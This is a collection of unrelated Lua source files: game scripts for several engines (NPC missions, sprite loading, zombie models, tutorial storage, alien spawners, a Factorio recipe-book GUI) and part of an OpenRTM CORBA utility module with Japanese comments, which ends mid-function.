player:messageSpecial(ID.text.KEYITEM_OBTAINED,tpz.ki.LETTERS_TO_ALDO);
elseif (csid == 60) then
player:delKeyItem(tpz.ki.MAGICITE_OPTISTONE);
player:delKeyItem(tpz.ki.MAGICITE_AURASTONE);
player:delKeyItem(tpz.ki.MAGICITE_ORASTONE);
if (player:hasKeyItem(tpz.ki.AIRSHIP_PASS)) then
player:addGil(GIL_RATE*20000);
player:messageSpecial(ID.text.GIL_OBTAINED,GIL_RATE*20000);
player:addTitle(tpz.title.CONQUEROR_OF_FATE);
else
player:addKeyItem(tpz.ki.AIRSHIP_PASS);
player:messageSpecial(ID.text.KEYITEM_OBTAINED,tpz.ki.AIRSHIP_PASS);
player:addTitle(tpz.title.HAVE_WINGS_WILL_FLY);
end
player:setCharVar("MissionStatus",6); -- all that's left is to go back to the embassy
elseif (csid == 10050) then
player:setCharVar("PromathiaStatus",2);
end
end;
|
local noteController = {}
-- Modules
local composer = require "composer"
local crudController = require "src.controller.crudController"
local note = require "src.model.note"
function noteController.new(logger, notecard)
local l = logger
local this = crudController.new(l, "note", "text")
this.itemToDelete = nil
this.notecardI = notecard
-- Override
function this.getModels()
return this.notecardI.notes
end
-- Override
function this.newModel(modelText)
return note.new(modelText)
end
-- Override
function this.onCardTap(modelId)
-- Do nothing. This overrides the parent method that throws an error with assert.
end
-- Override
function this.setParent(notecard)
this.notecardI = notecard
end
return this
end
return noteController
|
-- It's a simple sprite package warpper, use your own asset format instead.
local ejoy2d = require "ejoy2d"
local ppm = require "ejoy2d.ppm"
--local pack = require "ejoy2d.spritepack"
local pack = require "quick.lua.SpritePack"
local sprite = require "ejoy2d.sprite"
local png = require "ejoy2d.png"
local jpg = require "ejoy2d.jpg"
local fw = require "ejoy2d.framework"
-- This limit defined in texture.c
local MAX_TEXTURE = 128
local textures = {}
local packages = {}
local spack = {}
local package_pattern
local function require_tex(fileName, texType)
local tex = #textures
assert(tex < MAX_TEXTURE)
table.insert(textures, fileName)
if texType == "ppm" then
ppm.texture(tex, fileName)
elseif texType == "png" then
png.texture(tex, fileName)
elseif texType == "jpg" then
jpg.texture(tex, fileName)
else
--error('unknown texture type...')
print("fileName=>" .. fileName)
end
return tex
end
function spack.path(pattern)
package_pattern = pattern
end
local function realname(filename)
--assert(package_pattern, "Need a pattern")
if package_pattern == nil then
package_pattern = fw.WorkDir .. "res/?"
--package_pattern = fw.WorkDir .. "quick/demos/kofanim/res/?"
end
return string.gsub(package_pattern,"([^?]*)?([^?]*)","%1"..filename.."%2")
end
function spack.preload(packname)
if packages[packname] then
return packages[packname]
end
local p = {}
local filename = realname(packname)
p.meta = assert(pack.pack(dofile(filename .. ".lua")))
p.tex = {}
for i=1,p.meta.texture do
local texType = p.meta.textureType[i]
p.tex[i] = require_tex(filename .. "." .. i, texType)
end
pack.init(packname, p.tex, p.meta)
packages[packname] = p
end
function spack.preload_raw(packname)
if packages[packname] then
return packages[packname]
end
local p = {}
local filename = realname(packname)
local data = io.open(filename..".raw", "rb"):read("*a")
p.meta = assert(pack.import(data))
p.tex = {}
for i=1,p.meta.texture do
--local texType = p.meta.textureType[i]
p.tex[i] = require_tex(filename .. "." .. i, nil) --@to do...
end
pack.init(packname, p.tex, p.meta)
packages[packname] = p
end
function ejoy2d.sprite(packname, name)
if packages[packname] == nil then
spack.preload(packname)
end
return sprite.new(packname, name)
end
function ejoy2d.load_texture(filename)
return require_tex(filename)
end
function spack.load(tbl)
spack.path(assert(tbl.pattern))
for _,v in ipairs(tbl) do
spack.preload(v)
collectgarbage "collect"
end
end
function spack.load_raw(tbl)
spack.path(assert(tbl.pattern))
for _,v in ipairs(tbl) do
spack.preload_raw(v)
end
collectgarbage "collect"
end
function spack.texture(packname, index)
if packages[packname] == nil then
spack.preload(packname)
end
return packages[packname].tex[index or 1]
end
function spack.export(outdir, tbl)
spack.path(assert(tbl.pattern))
for _, packname in ipairs(tbl) do
print("packname ", packname, outdir, tbl.pattern)
local filename = string.gsub(outdir..tbl.pattern,
"([^?]*)?([^?]*)", "%1"..packname.."%2")
print("spack.export ", filename.. ".raw")
local meta = assert(pack.pack(dofile(filename .. ".lua")))
local output = pack.export(meta)
local file = io.open(filename .. ".raw", "w+")
file:write(output)
file:close()
end
end
function spack.isPackageLoaded(packPath)
return (packages[packPath] ~= nil)
end
return spack
|
NPC.Class = ""
NPC.Name = ""
NPC.Description = ""
NPC.Icon = ""
NPC.SortIndex = 0
NPC.Health = 0
NPC.Flag = 0
NPC.Cost = 0
NPC.PopCost = 0
NPC.Hidden = true
NPC.DelaySetModel = false
NPC.Model = "models/zombie/zm_classic.mdl"
NPC.SkinNum = 3
function NPC:SetupModel(npc)
if not self.Model then return end
local mdl = ""
if type(self.Model) == "table" then
local rand = math.Round(util.SharedRandom(npc:EntIndex().."_RandModel", 1, #self.Model))
mdl = self.Model[rand]
else
mdl = self.Model
end
if (self.SkinNum or 0) > 0 then
local rand = math.Round(util.SharedRandom(npc:EntIndex().."_RandSkin", 0, self.SkinNum))
npc:SetSkin(rand)
end
if self.DelaySetModel then
npc:SetModelDelayed(0, mdl)
else
npc:SetModel(mdl)
end
npc.CurrentModel = mdl
end
|
function OnResourceChanged(player, resource, value)
local playerData = Storage.GetPlayerData(player)
if type(playerData.resources) ~= "table" then
playerData.resources = {}
end
playerData.resources[resource] = value
Storage.SetPlayerData(player, playerData)
end
function NeverShowTutorial(player)
player:SetResource("NoTutorial", 1)
end
function OnPlayerJoined(player)
local playerData = Storage.GetPlayerData(player)
if type(playerData.resources) ~= "table" then
playerData.resources = {}
end
local showTutorial = true
for resource, value in pairs(playerData.resources) do
if resource == "NoTutorial" then
player:SetResource(resource, value)
end
end
player.resourceChangedEvent:Connect(OnResourceChanged)
Task.Wait()
player:SetResource("CoreLordsResourceReady", 1)
Events.ConnectForPlayer("NeverShowTutorial", NeverShowTutorial)
end
Game.playerJoinedEvent:Connect(OnPlayerJoined)
|
-- Copyright (c) 2021 Trevor Redfern
--
-- This software is released under the MIT License.
-- https://opensource.org/licenses/MIT
local tables = require "moonpie.tables"
local ImageManager = require "game.rules.graphics.image_manager"
local Animator = require "game.rules.graphics.animator"
local World = require "game.rules.world"
local Behaviors = require "game.rules.npcs.behaviors"
local aiRoutines = {
Behaviors.moveTowardsPlayer,
Behaviors.randomMovement
}
local Actions = {}
function Actions.addAlien(position)
local Characters = require "game.rules.character"
local alienIdle = require "assets.bestiary.alien"
local alien = Characters.create { position = position, isEnemy = true, ai = tables.pickRandom(aiRoutines) }
alien.alien = true
alien.animator = Animator:new()
alien.animator:addAnimation("idle", alienIdle)
alien.animator:play("idle")
return Characters.actions.add(alien)
end
function Actions.addSpawner(position)
return World.actions.addEntity {
position = position,
spawner = true,
sprite = ImageManager.load("ALIEN_SPAWNER", "assets/graphics/spawner.png")
}
end
function Actions.removeSpawner(spawner)
return World.actions.removeEntity(spawner)
end
return Actions
|
local area = require("__flib__.area")
local gui = require("__flib__.gui")
local math = require("__flib__.math")
local table = require("__flib__.table")
local constants = require("constants")
local formatter = require("scripts.formatter")
local recipe_book = require("scripts.recipe-book")
local gui_util = {}
-- The calling GUI will navigate to the context that is returned, if any
-- Actions that do not open a page will not return a context
function gui_util.navigate_to(e)
local tags = gui.get_tags(e.element)
local context = tags.context
local modifiers = {}
for name, modifier in pairs{control = e.control, shift = e.shift, alt = e.alt} do
if modifier then
modifiers[#modifiers + 1] = name
end
end
for _, interaction in pairs(constants.interactions[context.class]) do
if table.deep_compare(interaction.modifiers, modifiers) then
local action = interaction.action
local context_data = recipe_book[context.class][context.name]
local player = game.get_player(e.player_index)
local player_table = global.players[e.player_index]
if action == "view_details" then
return context
elseif action == "get_blueprint" then
local blueprint_recipe = tags.blueprint_recipe
if blueprint_recipe then
if context_data.blueprintable then
local cursor_stack = player.cursor_stack
player.clear_cursor()
if cursor_stack and cursor_stack.valid then
local CollisionBox = area.load(game.entity_prototypes[context.name].collision_box)
local height = CollisionBox:height()
local width = CollisionBox:width()
cursor_stack.set_stack{name = "blueprint", count = 1}
cursor_stack.set_blueprint_entities{
{
entity_number = 1,
name = context.name,
position = {
-- Entities with an even number of tiles to a side need to be set at -0.5 instead of 0
math.ceil(width) % 2 == 0 and -0.5 or 0,
math.ceil(height) % 2 == 0 and -0.5 or 0
},
recipe = blueprint_recipe
}
}
player.add_to_clipboard(cursor_stack)
player.activate_paste()
end
else
player.create_local_flying_text{
text = {"message.rb-cannot-create-blueprint"},
create_at_cursor = true
}
player.play_sound{path = "utility/cannot_build"}
end
end
elseif action == "open_in_technology_window" then
local player_table = global.players[e.player_index]
player_table.flags.technology_gui_open = true
player.open_technology_gui(context.name)
elseif action == "view_source" then
local source = context_data[interaction.source]
if source then
return source
end
end
end
end
end
function gui_util.update_list_box(pane, source_tbl, player_data, iterator, options)
local i = 0
local children = pane.children
local add = pane.add
for _, obj_ident in iterator(source_tbl) do
local obj_data = recipe_book[obj_ident.class][obj_ident.name]
local info = formatter(obj_data, player_data, options)
if info then
i = i + 1
local style = info.researched and "rb_list_box_item" or "rb_unresearched_list_box_item"
local item = children[i]
if item then
item.style = style
item.caption = info.caption
item.tooltip = info.tooltip
item.enabled = info.enabled
gui.update_tags(item, {context = {class = obj_ident.class, name = obj_ident.name}})
else
add{
type = "button",
style = style,
caption = info.caption,
tooltip = info.tooltip,
enabled = info.enabled,
mouse_button_filter = {"left", "middle"},
tags = {
[script.mod_name] = {
context = {class = obj_ident.class, name = obj_ident.name},
flib = {
on_click = {gui = "search", action = "open_object"}
}
}
}
}
end
end
end
-- Destroy extraneous items
for j = i + 1, #children do
children[j].destroy()
end
end
return gui_util
|
---------------------------------
--! @file CORBA_RTCUtil.lua
--! @brief RTC操作関数定義
---------------------------------
--[[
Copyright (c) 2017 Nobuhiko Miyamoto
]]
local CORBA_RTCUtil = {}
--_G["openrtm.CORBA_RTCUtil"] = CORBA_RTCUtil
local oil = require "oil"
local RTObject = require "openrtm.RTObject"
local NVUtil = require "openrtm.NVUtil"
local Properties = require "openrtm.Properties"
local StringUtil = require "openrtm.StringUtil"
-- コンポーネントプロファイル取得
-- @param rtc RTC
-- @return コンポーネントプロファイル(プロパティ形式)
CORBA_RTCUtil.get_component_profile = function(rtc)
local prop = Properties.new()
if rtc == oil.corba.idl.null then
return prop
end
local prof = rtc:get_component_profile()
NVUtil.copyToProperties(prop, prof.properties)
return prop
end
-- RTCの存在確認
-- @param rtc RTC
-- @return true:存在する
CORBA_RTCUtil.is_existing = function(rtc)
local ret = true
if NVUtil._non_existent(rtc) then
ret = false
end
return ret
end
-- RTCがデフォルトの実行コンテキストで生存しているかを確認
-- @param rtc RTC
-- @return true:生存
CORBA_RTCUtil.is_alive_in_default_ec = function(rtc)
local ec = CORBA_RTCUtil.get_actual_ec(rtc)
if ec == oil.corba.idl.null then
return false
end
return rtc:is_alive(ec)
end
-- RTCから指定IDの実行コンテキストを取得
-- @param rtc RTC
-- @param ec_id
-- @return 実行コンテキスト
CORBA_RTCUtil.get_actual_ec = function(rtc, ec_id)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
if ec_id == nil then
ec_id = 0
end
if ec_id < 0 then
return oil.corba.idl.null
end
if rtc == oil.corba.idl.null then
return oil.corba.idl.null
end
if ec_id < RTObject.ECOTHER_OFFSET then
local eclist = rtc:get_owned_contexts()
if ec_id >= #eclist then
return oil.corba.idl.null
end
if eclist[ec_id+1] == nil then
return oil.corba.idl.null
end
return eclist[ec_id+1]
elseif ec_id >= RTObject.ECOTHER_OFFSET then
local pec_id = ec_id - RTObject.ECOTHER_OFFSET
local eclist = rtc:get_participating_contexts()
--print(pec_id, #eclist)
if pec_id >= #eclist then
return oil.corba.idl.null
end
if eclist[pec_id+1] == nil then
return oil.corba.idl.null
end
return eclist[pec_id+1]
end
end
-- 対象RTCの指定実行コンテキストのIDを取得
-- @param rtc RTC
-- @param ec 実行コンテキスト
-- @return ID
-- 存在しない場合は-1
CORBA_RTCUtil.get_ec_id = function(rtc, ec)
if rtc == oil.corba.idl.null then
return -1
end
if ec == oil.corba.idl.null then
return -1
end
local eclist_own = rtc:get_owned_contexts()
local count = 0
for k,e in ipairs(eclist_own) do
if e ~= oil.corba.idl.null then
if NVUtil._is_equivalent(e, ec, e.getObjRef, ec.getObjRef) then
return count
end
end
count = count+1
end
local eclist_pec = rtc:get_participating_contexts()
count = 0
for k, e in pairs(eclist_pec) do
if e ~= oil.corba.idl.null then
if NVUtil._is_equivalent(e, ec, e.getObjRef, ec.getObjRef) then
return count+RTObject.ECOTHER_OFFSET
end
end
count = count+1
end
return -1
end
-- RTCのアクティブ化
-- @param rtc RTC
-- @param ec_id 実行コンテキストのID
-- @return リターンコード
-- RTC_OK:アクティブ化成功
CORBA_RTCUtil.activate = function(rtc, ec_id)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
if ec_id == nil then
ec_id = 0
end
if rtc == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
local ec = CORBA_RTCUtil.get_actual_ec(rtc, ec_id)
if ec == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
return NVUtil.getReturnCode(ec:activate_component(rtc))
end
-- RTCの非アクティブ化
-- @param rtc RTC
-- @param ec_id 実行コンテキストのID
-- @return リターンコード
-- RTC_OK:非アクティブ化成功
CORBA_RTCUtil.deactivate = function(rtc, ec_id)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
if ec_id == nil then
ec_id = 0
end
if rtc == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
local ec = CORBA_RTCUtil.get_actual_ec(rtc, ec_id)
if ec == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
return NVUtil.getReturnCode(ec:deactivate_component(rtc))
end
-- RTCのリセット
-- @param rtc RTC
-- @param ec_id 実行コンテキストのID
-- @return リターンコード
-- RTC_OK:リセット成功
CORBA_RTCUtil.reset = function(rtc, ec_id)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
if ec_id == nil then
ec_id = 0
end
if rtc == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
local ec = CORBA_RTCUtil.get_actual_ec(rtc, ec_id)
if ec == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
return NVUtil.getReturnCode(ec:reset_component(rtc))
end
-- RTCの状態取得
-- @param rtc RTC
-- @param ec_id 実行コンテキストのID
-- @return ret、state
-- ret true:状態取得成功
-- state 状態(取得に失敗した場合はCREATED_STATE)
CORBA_RTCUtil.get_state = function(rtc, ec_id)
local Manager = require "openrtm.Manager"
local LifeCycleState = Manager:instance():getORB().types:lookup("::RTC::LifeCycleState").labelvalue
if ec_id == nil then
ec_id = 0
end
if rtc == oil.corba.idl.null then
return false, LifeCycleState.CREATED_STATE
end
local ec = CORBA_RTCUtil.get_actual_ec(rtc, ec_id)
if ec == oil.corba.idl.null then
return false, LifeCycleState.CREATED_STATE
end
local state = ec:get_component_state(rtc)
return true, NVUtil.getLifeCycleState(state)
end
-- RTCが非アクティブ状態かを確認
-- @param rtc RTC
-- @param ec_id 実行コンテキストのID
-- @return true:非アクティブ状態
CORBA_RTCUtil.is_in_inactive = function(rtc, ec_id)
local Manager = require "openrtm.Manager"
local LifeCycleState = Manager:instance():getORB().types:lookup("::RTC::LifeCycleState").labelvalue
if ec_id == nil then
ec_id = 0
end
local ret, state = CORBA_RTCUtil.get_state(rtc, ec_id)
if ret then
if state == LifeCycleState.INACTIVE_STATE then
return true
end
end
return false
end
-- RTCがアクティブ状態かを確認
-- @param rtc RTC
-- @param ec_id 実行コンテキストのID
-- @return true:アクティブ状態
CORBA_RTCUtil.is_in_active = function(rtc, ec_id)
local Manager = require "openrtm.Manager"
local LifeCycleState = Manager:instance():getORB().types:lookup("::RTC::LifeCycleState").labelvalue
if ec_id == nil then
ec_id = 0
end
local ret, state = CORBA_RTCUtil.get_state(rtc, ec_id)
if ret then
if state == LifeCycleState.ACTIVE_STATE then
return true
end
end
return false
end
-- RTCがエラー状態かを確認
-- @param rtc RTC
-- @param ec_id 実行コンテキストのID
-- @return true:エラー状態
CORBA_RTCUtil.is_in_error = function(rtc, ec_id)
local Manager = require "openrtm.Manager"
local LifeCycleState = Manager:instance():getORB().types:lookup("::RTC::LifeCycleState").labelvalue
if ec_id == nil then
ec_id = 0
end
local ret, state = CORBA_RTCUtil.get_state(rtc, ec_id)
if ret then
if state == LifeCycleState.ERROR_STATE then
return true
end
end
return false
end
-- 対象RTCのデフォルトの実行コンテキストでの実行周期を取得
-- @param rtc RTC
-- @return 実行周期
CORBA_RTCUtil.get_default_rate = function(rtc)
local ec = CORBA_RTCUtil.get_actual_ec(rtc)
return ec:get_rate()
end
-- 対象RTCのデフォルトの実行コンテキストでの実行周期を設定
-- @param rtc RTC
-- @param 実行周期
-- @return リターンコード
-- RTC_OK:設定成功
CORBA_RTCUtil.set_default_rate = function(rtc, rate)
local ec = CORBA_RTCUtil.get_actual_ec(rtc)
return ec:set_rate(rate)
end
-- 対象RTCのデフォルトの実行コンテキストでの実行周期を取得
-- @param rtc RTC
-- @param ec_id 実行コンテキストのID
-- @return 実行周期
CORBA_RTCUtil.get_current_rate = function(rtc, ec_id)
local ec = CORBA_RTCUtil.get_actual_ec(rtc, ec_id)
return ec:get_rate()
end
-- 対象RTCのデフォルトの実行コンテキストでの実行周期を設定
-- @param rtc RTC
-- @param ec_id 実行コンテキストのID
-- @param 実行周期
-- @return リターンコード
-- RTC_OK:設定成功
CORBA_RTCUtil.set_current_rate = function(rtc, ec_id, rate)
local ec = CORBA_RTCUtil.get_actual_ec(rtc, ec_id)
return ec:set_rate(rate)
end
-- RTC1のデフォルトの実行コンテキストにRTC2を追加
-- @param localcomp RTC1
-- @param othercomp RTC2
-- @return リターンコード
CORBA_RTCUtil.add_rtc_to_default_ec = function(localcomp, othercomp)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
if othercomp == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
local ec = CORBA_RTCUtil.get_actual_ec(localcomp)
if ec == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
return NVUtil.getReturnCode(ec:add_component(othercomp))
end
-- RTC1のデフォルトの実行コンテキストからRTC2を削除
-- @param localcomp RTC1
-- @param othercomp RTC2
-- @return リターンコード
CORBA_RTCUtil.remove_rtc_to_default_ec = function(localcomp, othercomp)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
if othercomp == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
local ec = CORBA_RTCUtil.get_actual_ec(localcomp)
if ec == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
return NVUtil.getReturnCode(ec:remove_component(othercomp))
end
-- RTCのデフォルトの実行コンテキストにアタッチしている外部のRTCを取得
-- @param rtc RTC
-- @return RTC一覧
CORBA_RTCUtil.get_participants_rtc = function(rtc)
local ec = CORBA_RTCUtil.get_actual_ec(rtc)
if ec == oil.corba.idl.null then
return {}
end
local profile = ec:get_profile()
return profile.participants
end
-- RTCのポート名一覧を取得
-- @param rtc RTC
-- @return ポート名一覧
CORBA_RTCUtil.get_port_names = function(rtc)
local names = {}
if rtc == oil.corba.idl.null then
return names
end
local ports = rtc:get_ports()
for k,p in ipairs(ports) do
local pp = p:get_port_profile()
local s = pp.name
table.insert(names, s)
end
return names
end
-- RTCのInPort名一覧を取得
-- @param rtc RTC
-- @return InPort名一覧
CORBA_RTCUtil.get_inport_names = function(rtc)
local names = {}
if rtc == oil.corba.idl.null then
return names
end
local ports = rtc:get_ports()
for k,p in ipairs(ports) do
local pp = p:get_port_profile()
local prop = Properties.new()
NVUtil.copyToProperties(prop, pp.properties)
if prop:getProperty("port.port_type") == "DataInPort" then
local s = pp.name
table.insert(names, s)
end
end
return names
end
-- RTCのOutPort名一覧を取得
-- @param rtc RTC
-- @return OutPort名一覧
CORBA_RTCUtil.get_outport_names = function(rtc)
local names = {}
if rtc == oil.corba.idl.null then
return names
end
local ports = rtc:get_ports()
for k,p in ipairs(ports) do
local pp = p:get_port_profile()
local prop = Properties.new()
NVUtil.copyToProperties(prop, pp.properties)
if prop:getProperty("port.port_type") == "DataOutPort" then
local s = pp.name
table.insert(names, s)
end
end
return names
end
-- RTCのサービスポート名一覧を取得
-- @param rtc RTC
-- @return サービスポート名一覧
CORBA_RTCUtil.get_svcport_names = function(rtc)
local names = {}
if rtc == oil.corba.idl.null then
return names
end
local ports = rtc:get_ports()
for k,p in ipairs(ports) do
local pp = p:get_port_profile()
local prop = Properties.new()
NVUtil.copyToProperties(prop, pp.properties)
if prop:getProperty("port.port_type") == "CorbaPort" then
local s = pp.name
table.insert(names, s)
end
end
return names
end
-- ポート名からポートを取得
-- @param rtc RTC
-- @param port_name ポート名
-- @return ポート
CORBA_RTCUtil.get_port_by_name = function(rtc, port_name)
if rtc == oil.corba.idl.null then
return oil.corba.idl.null
end
local ports = rtc:get_ports()
for k,p in ipairs(ports) do
pp = p:get_port_profile()
s = pp.name
if port_name == s then
return p
end
end
return oil.corba.idl.null
end
-- ポートからコネクタ名一覧を取得
-- @param port ポート
-- @return コネクタ名一覧
CORBA_RTCUtil.get_connector_names_by_portref = function(port)
local names = {}
if port == oil.corba.idl.null then
return names
end
local conprof = port:get_connector_profiles()
for k,c in ipairs(conprof) do
table.insert(names, c.name)
end
return names
end
-- RTCとポート名からコネクタ名一覧を取得
-- @param RTC rtc
-- @param port_name ポート名
-- @return コネクタ名一覧
CORBA_RTCUtil.get_connector_names = function(rtc, port_name)
local names = {}
local port = CORBA_RTCUtil.get_port_by_name(rtc, port_name)
if port == oil.corba.idl.null then
return names
end
local conprof = port:get_connector_profiles()
for k,c in ipairs(conprof) do
table.insert(names, c.name)
end
return names
end
-- ポートからコネクタID一覧を取得
-- @param port ポート
-- @return コネクタID一覧
CORBA_RTCUtil.get_connector_ids_by_portref = function(port)
local ids = {}
if port == oil.corba.idl.null then
return ids
end
local conprof = port:get_connector_profiles()
for k,c in ipairs(conprof) do
table.insert(ids, c.connector_id)
end
return ids
end
-- RTCとポート名からコネクタID一覧を取得
-- @param RTC rtc
-- @param port_name ポート名
-- @return コネクタID一覧
CORBA_RTCUtil.get_connector_ids = function(rtc, port_name)
local ids = {}
local port = CORBA_RTCUtil.get_port_by_name(rtc, port_name)
if port == oil.corba.idl.null then
return ids
end
local conprof = port:get_connector_profiles()
for k,c in ipairs(conprof) do
table.insert(ids, c.connector_id)
end
return ids
end
-- コネクタプロファイルの生成
-- @param name コネクタ名
-- @param prop_arg 設定
-- データフロー型はデフォルトでpush
-- インターフェース型はデフォルトでdata_service
-- @param port0 ポート0
-- @param port1 ポート1
-- @return コネクタプロファイル
CORBA_RTCUtil.create_connector = function(name, prop_arg, port0, port1)
local prop = prop_arg
local conn_prof = {name=name, connector_id="", ports={port0, port1}, properties={}}
if tostring(prop:getProperty("dataport.dataflow_type")) == "" then
prop:setProperty("dataport.dataflow_type","push")
end
if tostring(prop:getProperty("dataport.interface_type")) == "" then
prop:setProperty("dataport.interface_type","data_service")
end
conn_prof.properties = {}
NVUtil.copyFromProperties(conn_prof.properties, prop)
return conn_prof
end
-- 指定ポート同士が接続済みかを確認
-- @param localport ポート1
-- @param otherport ポート2
-- @return true:接続済み
CORBA_RTCUtil.already_connected = function(localport, otherport)
local conprof = localport:get_connector_profiles()
for k,c in ipairs(conprof) do
for k,p in ipairs(c.ports) do
if NVUtil._is_equivalent(p, otherport, p.getPortRef, otherport.getPortRef) then
return true
end
end
end
return false
end
-- ポートの接続
-- @param name コネクタ名
-- @param prop 設定
-- @param port0 ポート0
-- @param port1 ポート1
-- @return リターンコード
-- RTC_OK:接続成功
CORBA_RTCUtil.connect = function(name, prop, port0, port1)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
if port0 == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
if port1 == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
if NVUtil._is_equivalent(port0, port1, port0.getPortRef, port1.getPortRef) then
return ReturnCode_t.BAD_PARAMETER
end
local cprof = CORBA_RTCUtil.create_connector(name, prop, port0, port1)
local ret, prof = port0:connect(cprof)
ret = NVUtil.getReturnCode(ret)
--print(ret)
return ret
end
-- 複数のポートを接続
-- @param name コネクタ名
-- @param prop 設定
-- @param port 接続元のポート
-- @param target_ports 接続先のポート一覧
-- @param リターンコード
-- RTC_OK:すべてのコネクタが接続成功
-- BAD_PARAMETER:いずれかのコネクタが接続失敗
CORBA_RTCUtil.connect_multi = function(name, prop, port, target_ports)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
local ret = ReturnCode_t.RTC_OK
if port == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
for k,p in ipairs(target_ports) do
if p == oil.corba.idl.null then
ret = ReturnCode_t.BAD_PARAMETER
else
if NVUtil._is_equivalent(p, port, p.getPortRef, port.getPortRef) then
ret = ReturnCode_t.BAD_PARAMETER
else
if CORBA_RTCUtil.already_connected(port, p) then
ret = ReturnCode_t.BAD_PARAMETER
else
if ReturnCode_t.RTC_OK ~= CORBA_RTCUtil.connect(name, prop, port, p) then
ret = ReturnCode_t.BAD_PARAMETER
end
end
end
end
end
return ret
end
-- ポート検索用関数オブジェクトの初期化
-- @param name ポート名
-- @return ポート検索用関数オブジェクト
CORBA_RTCUtil.find_port = function(name)
local obj = {}
obj._name = name
-- ポート検索用関数
-- @param self 自身のオブジェクト
-- @param p 比較対象のポート
-- @return true:一致
local call_func = function(self, p)
local prof = p:get_port_profile()
local c = prof.name
return (self._name == c)
end
setmetatable(obj, {__call=call_func})
return obj
end
-- ポート名指定でコネクタを接続
-- @param name コネクタ名
-- @param prop 設定
-- @param rtc0 RTC0
-- @param port_name0 RTC0の保持するポート名
-- @param rtc1 RTC1
-- @param port_name1 RTC1の保持するポート名
-- @return リターンコード
-- RTC_OK:接続成功
-- BAD_PARAMETER:ポートが存在しない場合など
CORBA_RTCUtil.connect_by_name = function(name, prop, rtc0, port_name0, rtc1, port_name1)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
if rtc0 == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
if rtc1 == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
local port0 = CORBA_RTCUtil.get_port_by_name(rtc0, port_name0)
if port0 == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
local port1 = CORBA_RTCUtil.get_port_by_name(rtc1, port_name1)
if port1 == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
return CORBA_RTCUtil.connect(name, prop, port0, port1)
end
-- コネクタ切断
-- @param connector_prof コネクタプロファイル
-- @return リターンコード
-- RTC_OK:切断成功
CORBA_RTCUtil.disconnect = function(connector_prof)
local ports = connector_prof.ports
return CORBA_RTCUtil.disconnect_by_portref_connector_id(ports[1], connector_prof.connector_id)
end
-- コネクタ名指定でコネクタ切断
-- @param port_ref ポート
-- @param conn_name コネクタ名
-- @return リターンコード
-- RTC_OK:切断成功
-- BAD_PARAMETER:コネクタが存在しない場合など
CORBA_RTCUtil.disconnect_by_portref_connector_name = function(port_ref, conn_name)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
if port_ref == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
local conprof = port_ref:get_connector_profiles()
for k,c in ipairs(conprof) do
if c.name == conn_name then
return CORBA_RTCUtil.disconnect(c)
end
end
return ReturnCode_t.BAD_PARAMETER
end
-- ポート名、コネクタ名指定でコネクタ切断
-- @param port_name ポート名
-- RTCをrtcloc、rtcname形式で指定する
-- rtcname://localhost/test.host_cxt/ConsoleIn0.out
-- @param conn_name コネクタ名
-- @return リターンコード
-- RTC_OK:切断成功
-- BAD_PARAMETER:コネクタが存在しない場合など
CORBA_RTCUtil.disconnect_by_portname_connector_name = function(port_name, conn_name)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
local port_ref = CORBA_RTCUtil.get_port_by_url(port_name)
if port_ref == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
local conprof = port_ref:get_connector_profiles()
for k,c in pairs(conprof) do
if c.name == conn_name then
return CORBA_RTCUtil.disconnect(c)
end
end
return ReturnCode_t.BAD_PARAMETER
end
-- コネクタID指定でコネクタ切断
-- @param port_ref ポート
-- @param conn_name コネクタ名
-- @return リターンコード
-- RTC_OK:切断成功
CORBA_RTCUtil.disconnect_by_portref_connector_id = function(port_ref, conn_id)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
if port_ref == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
return NVUtil.getReturnCode(port_ref:disconnect(conn_id))
end
-- ポート名、コネクタID指定でコネクタ切断
-- @param port_name ポート名
-- RTCをrtcloc、rtcname形式で指定する
-- rtcname://localhost/test.host_cxt/ConsoleIn0.out
-- @param conn_name コネクタ名
-- @return リターンコード
-- RTC_OK:切断成功
CORBA_RTCUtil.disconnect_by_portname_connector_id = function(port_name, conn_id)
local Manager = require "openrtm.Manager"
local ReturnCode_t = Manager._ReturnCode_t
local port_ref = CORBA_RTCUtil.get_port_by_url(port_name)
if port_ref == oil.corba.idl.null then
return ReturnCode_t.BAD_PARAMETER
end
return NVUtil.getReturnCode(port_ref:disconnect(conn_id))
end
-- 全コネクタ切断
-- @param port_ref ポート
-- @return リターンコード
-- RTC_OK:切断成功
CORBA_RTCUtil.disconnect_all_by_ref = function(port_ref)
